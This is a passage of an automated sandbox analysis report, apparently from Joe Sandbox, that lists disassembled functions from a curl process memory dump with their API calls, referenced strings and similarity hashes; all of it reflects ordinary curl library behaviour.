Function 00872677 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,00000000,00000001,?,?,?,00888727,?,?,00000000,?,?,?,00888849,00000000,?), ref: 00872698
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00887EE5,?,?,?,00888727,?,?,00000000,?,?,?,00888849,00000000,?,?), ref: 008726C4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00888849,00000000,?,?,?,00872373,?,?,?,?,008616C6,?,00200030), ref: 008726DF

Strings

CURL_SSL_BACKEND, xrefs: 0087267A, 0087267B

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: EnvironmentVariablefreerealloc
String ID: CURL_SSL_BACKEND
API String ID: 3604909764-3552431867
Opcode ID: e44170282852c13378ca0e515fe3eced97b24d7c43f11755de6a9a427c72727d
Instruction ID: 11dee9146adb189e8edcaabaec2a1cafa7302f2b43604c14217ea0d0dc651753
Opcode Fuzzy Hash: e44170282852c13378ca0e515fe3eced97b24d7c43f11755de6a9a427c72727d
Instruction Fuzzy Hash: 37014736E08528AB5F214B699C0495F7FFEFBD5B64725802BE905E3310DAB18C008BA4

Function 0086D57E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52stringCOMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0086D58E
strtod.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?), ref: 0086D59C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0086D5A7

Strings

0Lu@Ru@/Mu, xrefs: 0086D58E, 0086D5A7

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errno$strtod
String ID: 0Lu@Ru@/Mu
API String ID: 3632641845-1923536700
Opcode ID: d2d0883ead099eaec1b7ffe0ddbf7deb0213859851009b2e5e4801d9bca33f48
Instruction ID: 8c1fe81221cd63dbe461732069b15e60725757037ace96d0c72eacb2459d61e3
Opcode Fuzzy Hash: d2d0883ead099eaec1b7ffe0ddbf7deb0213859851009b2e5e4801d9bca33f48
Instruction Fuzzy Hash: 6B012632E00B09DAC7129E34D8096BDB778FF42788F268396D403FE841D7708981C6A0

Function 0086D4FE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0086D511
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,?), ref: 0086D522
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0086D52D

Strings

0Lu@Ru@/Mu, xrefs: 0086D511, 0086D52D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errno$strtol
String ID: 0Lu@Ru@/Mu
API String ID: 3596500743-1923536700
Opcode ID: 60f0f733a04c6503669c54fcfd26c74cc866d02af2d64f297af569c7a037ea12
Instruction ID: 8e24e4a93f78cc3f1f6f258ea5be0c46627be590980410edab2736118246fe61
Opcode Fuzzy Hash: 60f0f733a04c6503669c54fcfd26c74cc866d02af2d64f297af569c7a037ea12
Instruction Fuzzy Hash: CB01F232A00B08EFDB128F58D808BAC77B8FB86359F2641A6D002CB501D3B18E00CBA0

Function 008AADF2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000,HTTP,?,?), ref: 008AAE0A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AAE21
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 008AAE3D

Strings

%s/%s, xrefs: 008AADF6

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$_strdup
String ID: %s/%s
API String ID: 2653869212-2758257063
Opcode ID: c5a275738bc2bb21fd5f86395393268835aa5f82ed68f7f8ad634ede690f3883
Instruction ID: b3c59ef12359fd0b252c52228ca43ccd09f922c48ab13bbf93c4a95453d7aca7
Opcode Fuzzy Hash: c5a275738bc2bb21fd5f86395393268835aa5f82ed68f7f8ad634ede690f3883
Instruction Fuzzy Hash: 4BF02733A049305B52152728BC0896F6BA8FEC6F71319412AF800D3351EFA50C0082E1

Function 0089E886 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,000000FF,00000003,00000000), ref: 0089E8AE
WSAGetLastError.WS2_32(?,?,?,0089E787,00000000), ref: 0089E8B8

Strings

Sending data failed (%d), xrefs: 0089E8BF
SENT, xrefs: 0089E8D0

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLastsend
String ID: SENT$Sending data failed (%d)
API String ID: 1802528911-3459338696
Opcode ID: 7a2d61a77f0950e856224f4256f3a9e40966fca9f04baabd6518ec08e4837204
Instruction ID: 9a4b24be0f56cfec729c304ddbd05ccea558ab7316cd7a310f00afd855fb7c03
Opcode Fuzzy Hash: 7a2d61a77f0950e856224f4256f3a9e40966fca9f04baabd6518ec08e4837204
Instruction Fuzzy Hash: 3FF0F031204704BFDB06B798EC0AEAF3FA8FB45360F0881A8F945D72C1E5619E0083A1

Function 00861F10 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

_read.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?), ref: 00861F24
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00861F32
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00861F3D

Strings

0Lu@Ru@/Mu, xrefs: 00861F32, 00861F3D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errno$_read
String ID: 0Lu@Ru@/Mu
API String ID: 530745434-1923536700
Opcode ID: 68dc45af9e80a1ba6fa8ba57975b585781317ddaece03b5e7484369792eaadd4
Instruction ID: a15b5ce06cf9b00b8a45d30007d0dd9ae3e17b2bc5d5dbecbc2e7cb163570eec
Opcode Fuzzy Hash: 68dc45af9e80a1ba6fa8ba57975b585781317ddaece03b5e7484369792eaadd4
Instruction Fuzzy Hash: 23F054312046059FDF058F58E805BAA37E4FF19351F494468F849CB312CB72EC108755

Function 00882EBE Relevance: 6.5, APIs: 5, Instructions: 263COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00882EDF
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00882F0B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00882F22

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: calloc$free
String ID:
API String ID: 171065143-0
Opcode ID: 9ed9a715803804c3cd8e787c1f03336eb07ba2ef084da85614c9ae642ce7ca80
Instruction ID: 395e45c60cebab3fdaa2820d7c04a0dd4e199c2acd36c76e2b83144470e7de8f
Opcode Fuzzy Hash: 9ed9a715803804c3cd8e787c1f03336eb07ba2ef084da85614c9ae642ce7ca80
Instruction Fuzzy Hash: 1FB16B79508A818EDB12DF6888887D67BA1FF19714F1C80BADD49CF347D7729906CBA0

Function 008A014E Relevance: 6.3, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00000017,00000017,?,0088EB2F,?,?,?,?,?), ref: 008A016B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,0087E01D,00000000,00000000,?), ref: 008A01A4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0087E01D), ref: 008A01CA
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0087E01D), ref: 008A0222
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,0087E01D,00000000,00000000,?), ref: 008A0234

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$malloc
String ID:
API String ID: 2190258309-0
Opcode ID: 44e5759be4b15ebaf1b720c11060ac7d614705a0cf67bef773de39805a822c9c
Instruction ID: 939cc976e19fd313e62fcbc7c99f12344be1a18658b433a967f662efed9c791c
Opcode Fuzzy Hash: 44e5759be4b15ebaf1b720c11060ac7d614705a0cf67bef773de39805a822c9c
Instruction Fuzzy Hash: D731D576604618DFEB059F18EC44A6D7BF5FF4A720B24806AE905DB351DBB19D00CF90

Function 00881150 Relevance: 6.3, APIs: 5, Instructions: 92COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008811DA

Part of subcall function 00870D8D: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00870DA4

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008811F3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881208
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881231
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881246

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$malloc
String ID:
API String ID: 2190258309-0
Opcode ID: f622d0504c200bd6eda8182b5bb15ff4a9df757c84e94d9b689f2b9200d06e8e
Instruction ID: bbed6f1e94282b5eba84ea6007d00bf393b57dfc56b6235c3dd08408b428180c
Opcode Fuzzy Hash: f622d0504c200bd6eda8182b5bb15ff4a9df757c84e94d9b689f2b9200d06e8e
Instruction Fuzzy Hash: 7D3182367006158BDF21EF58DC4862977EAFF84760F18417ADA05D7351CF74AC028B91

Function 008AAB9A Relevance: 6.3, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00889633,00000000), ref: 008AABCC
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00889633,00000000), ref: 008AABFD
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00889633,00000000), ref: 008AAC1F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AAC36
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AAC50

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a838f9f4a993c93b0999834b6b237aa4badf39607679f652cba96316984ab02d
Instruction ID: 6e83393de0c30feb0180fd1b799b63be7cfd2f9086e0655ddb16f2311d4896d8
Opcode Fuzzy Hash: a838f9f4a993c93b0999834b6b237aa4badf39607679f652cba96316984ab02d
Instruction Fuzzy Hash: 9F21C976A04A26EFDB059F65ED94418FFB2FF48761314912AE90593B61CB75AC20CFC0

Function 0089DCE3 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 183COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089DD98

Strings

%s%s, xrefs: 0089DD6F
Wildcard - "%s" skipped by user, xrefs: 0089DE07
Wildcard - START of "%s", xrefs: 0089DDAA

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: %s%s$Wildcard - "%s" skipped by user$Wildcard - START of "%s"
API String ID: 1294909896-4272885751
Opcode ID: c6029bfbc8d8233e0b33ccb44929c7e54acf70e677f73a28834f7cbeebf29a4a
Instruction ID: 12575b7dc829dbb8e9042196df403d7ab4285f9d94454f0f3b48a8261bb15aa9
Opcode Fuzzy Hash: c6029bfbc8d8233e0b33ccb44929c7e54acf70e677f73a28834f7cbeebf29a4a
Instruction Fuzzy Hash: 8D619271B00706EFCB18EF68C8816A9F7A2FF94304F18416AD91ADB351DB31B850DB95

Function 008973CA Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 174COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089741B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089759B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008975B6

Strings

Failed to alloc scratch buffer, xrefs: 00897427

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$malloc
String ID: Failed to alloc scratch buffer
API String ID: 2190258309-2192203314
Opcode ID: a7170234929f7f7bb53c3dc0005e62176ffc40d95ea04b9e0723e8e1f6b8fe33
Instruction ID: fd62f2d9bbd115bcb4d5cad77d4737f5e41f421722b96b1d1a9f97765e4296e5
Opcode Fuzzy Hash: a7170234929f7f7bb53c3dc0005e62176ffc40d95ea04b9e0723e8e1f6b8fe33
Instruction Fuzzy Hash: 18616075E1460A9FCF04DFA8D984AAEBBF5FF48314F1881AAD505E7342D730AA01CB94

Function 00896E00 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00896E3D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00896F1D

Strings

., xrefs: 00896EB0

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: .
API String ID: 1294909896-916926321
Opcode ID: 70bf0316d6c2a55ae0ddc8ef67f9cf995eb24ceaf1f95bec4f6448851fc75754
Instruction ID: 490767ceb80970655bd28975822644b0b7117663b6e70c014bc91939a166f759
Opcode Fuzzy Hash: 70bf0316d6c2a55ae0ddc8ef67f9cf995eb24ceaf1f95bec4f6448851fc75754
Instruction Fuzzy Hash: 15518D71A08715DFDF10DF24E844B6ABBE4FF49750F18856AF849DB241EB70A814CB92

Function 0089FEA6 Relevance: 6.1, APIs: 4, Instructions: 128networkCOMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,?,?,?), ref: 0089FEC0
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?), ref: 0089FF44
freeaddrinfo.WS2_32(00000000,?,?), ref: 0089FFCE
WSASetLastError.WS2_32(00002AF9,?,?), ref: 0089FFF2

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLastfreeaddrinfogetaddrinfomalloc
String ID:
API String ID: 2354400463-0
Opcode ID: de5506be14eebe18a994b406bd49e22629d4986b58f085a722919db653b9af76
Instruction ID: 6594bed3287eb0b04f811afd544182e4d0573146b5899f9e49dc172c8fa528b8
Opcode Fuzzy Hash: de5506be14eebe18a994b406bd49e22629d4986b58f085a722919db653b9af76
Instruction Fuzzy Hash: 06419C72A00A06AFCF28EF68D440AAAB7B5FF45315F18453DE616D7642DB70E944CBD0

Function 0088C6A7 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088C7FA

Strings

Connection died, retrying a fresh connect (retry count: %d), xrefs: 0088C777
REFUSED_STREAM, retrying a fresh connect, xrefs: 0088C72F
Connection died, tried %d times before giving up, xrefs: 0088C759

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: Connection died, retrying a fresh connect (retry count: %d)$Connection died, tried %d times before giving up$REFUSED_STREAM, retrying a fresh connect
API String ID: 1294909896-4242497519
Opcode ID: 43681ddb17836bad6df6cc020466c7c067e2396fd60fbaa409519cf70594f95b
Instruction ID: f998c183471926f4d110393d744ef2ae60b5d26dc6bfed3a784fb46dd05a2cff
Opcode Fuzzy Hash: 43681ddb17836bad6df6cc020466c7c067e2396fd60fbaa409519cf70594f95b
Instruction Fuzzy Hash: C041F830748645AFEB19EB38D848B65BBA0FF45314F184179D40DCB386D771A840CBB1

Function 008A1B30 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00863857: __stdio_common_vsscanf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,000000FF,?,00000000,?), ref: 00863872

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A1B96

Strings

OK [UIDVALIDITY %19[0123456789]], xrefs: 008A1B68
Select failed, xrefs: 008A1C32
Mailbox UIDVALIDITY has changed, xrefs: 008A1BDE

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __stdio_common_vsscanffree
String ID: Mailbox UIDVALIDITY has changed$OK [UIDVALIDITY %19[0123456789]]$Select failed
API String ID: 2458389622-3309259123
Opcode ID: a6befb74ff8453f10d91fd089e4adc7b4b891bc08a2b2ee147e833d350fa1f4c
Instruction ID: 301fe87cb3ab49022dcf5212637bf720725579e0d20fd59f70ece24e1d6bff2c
Opcode Fuzzy Hash: a6befb74ff8453f10d91fd089e4adc7b4b891bc08a2b2ee147e833d350fa1f4c
Instruction Fuzzy Hash: 0C31F970B042058BEF04AF59D88A9AD77B9FF89720F14407AE906E7742EB74AC018B55

Function 0086903B Relevance: 6.1, APIs: 4, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fputs.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00000000,Failed to create/open output), ref: 0086909C
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?), ref: 008690D7
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(008B7668,?), ref: 008690E8
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?), ref: 00869107

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: fputs$fwrite
String ID:
API String ID: 2206100360-0
Opcode ID: 77b9fd65ed49e0dd7d1601a228ebd2ccdae81f6b4c9b327b647c3ca719965407
Instruction ID: 3b0ab8d14529be32685023a1b627af8fd2ab3310382cbc73507a9e0c41d0b940
Opcode Fuzzy Hash: 77b9fd65ed49e0dd7d1601a228ebd2ccdae81f6b4c9b327b647c3ca719965407
Instruction Fuzzy Hash: E931F936504606EFCB11CFA8D844AA8FBF9FF45310B254255E895D3395DB72AD05CB90

Function 0089044E Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00890489
___from_strstr_to_strchr.LIBCMT ref: 00890499
___from_strstr_to_strchr.LIBCMT ref: 008904A8
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,0088A507), ref: 008904DD

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchr$malloc
String ID:
API String ID: 383369926-0
Opcode ID: a5f9ce4dcef70462e2bdcc7efbd398306baa0bb83489ea8da4e97b1b8594d65a
Instruction ID: 09e95b0629618aa5e73efc36206b5c4f857b698fc7e7908339cba015cf5bdf57
Opcode Fuzzy Hash: a5f9ce4dcef70462e2bdcc7efbd398306baa0bb83489ea8da4e97b1b8594d65a
Instruction Fuzzy Hash: 78117B661082231DDF113A786C906BB1789FFC27ECF2C101DE682DF383ED128C054AA9

Function 008877F7 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00887864
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008878B8

Strings

-----END PUBLIC KEY-----, xrefs: 00887839
-----BEGIN PUBLIC KEY-----, xrefs: 00887811

Memory Dump Source

